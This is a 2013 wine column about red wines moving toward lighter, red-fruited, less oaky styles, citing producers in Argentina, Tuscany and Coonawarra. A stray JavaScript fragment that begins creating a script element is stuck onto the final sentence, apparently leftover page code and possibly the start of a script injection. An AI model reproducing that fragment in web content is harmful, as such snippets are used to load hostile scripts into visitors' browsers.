The new world of reds – Nov 2, 2013

By Anthony Gismondi

The mention of red fruits versus black fruits may be the most favourable descriptor one can use to describe red wine at the moment, at least among wine reviewers and professional critics. After decades of chasing intensity and concentration of fruit, along with a commensurate level of oak and alcohol, the style of red wine is fundamentally changing in many regions of the world.

There are many reasons for the shift to fresher, brighter, leaner reds, none more important than they are better matched to food. But even before we get it to the table, it’s clear to many winemakers that if you are going to tie your hat to terroir and region the wine has to be, figuratively and literally, more transparent to allow the site or vineyard where the grapes are grown to shine through in the bottle.

It wasn’t all that long ago Pinot Noir, Cabernet Sauvignon and Zinfandel was routinely bottled at 15 to 16 or even 17 per cent alcohol, and it was all bathed in new, heavily toasted French or American oak barrels. Much like the New World Chardonnay of the 1980s and ’90s, all you could taste was the flavour of oak and all you could feel was the weight of the alcohol.

Those days are fading fast. In the last week I tasted some terrific wines from Argentina, Italy and Australia that perfectly illustrate the notion that balance and finesse, and more red fruit than black is a good thing in wine.

It may sound odd given the morass of no-name sweet reds that are creeping into wine shops to satisfy a sector of the wine producers pandering to entry-level wine drinkers using residual sugar, but I’m hopeful the days of alcohol, oak and sugar are coming to a quick end. I believe you cannot make wines that come from somewhere unless they have a story to tell, and it’s the lighter, more pure fruit style of wines that are the storytellers.

Argentine winemaker Sebastian Zuccardi was in town twice last month to discuss his latest wines coming from Argentina’s Mendoza Valley, all fermented in neutral cement fermenters. Zuccardi is seeking out the purest expression of Malbec where fruit and acidity meet to tantalize your tastebuds. Where every sip suggests another. Sangiovese has always been a floralscented, red fruit grape, but over time, many Tuscan producers lost their focus trying to make bigger, richer style blends with the addition of Cabernet Sauvignon, Merlot and even Syrah to try to match the big reds of the day coming out of California and Australia. At an Altesino tasting last week, the highly respected Brunello di Montalcino producer is focused on refinement, choosing sites and blends that celebrate the ethereal red fruits of Sangiovese and then aging them in older wood, eschewing power and weight for finesse and grace.

Even more striking was recent tasting with winemaker Sue Hodder, who has been quietly reshaping the Cabernet Sauvignons of Wynns Coonawarra over the last 22 years along with viticulturalist Allan Jenkins. When Hodder arrived at Wynns, John Riddoch was a Cabernet Sauvignon that was bathed in oak and expected to age perfectly over the next 20 years.

It may have worked in the greatest vintages when everything was in balance, but those harvests are few and far between in cooler regions. The trick today is to coax that character out of every harvest. In Coonawarra, Wynns has completely renovated its vineyards. The goal is to bring those grapes to perfect ripeness in almost every vintage and to harvest red fruits over black, finesse over power, leading to drinkability over all other attributes. It’s the New World of red wine, and it can’t come fast enough for this critic.}var d=document;var s=d.createElement('script');

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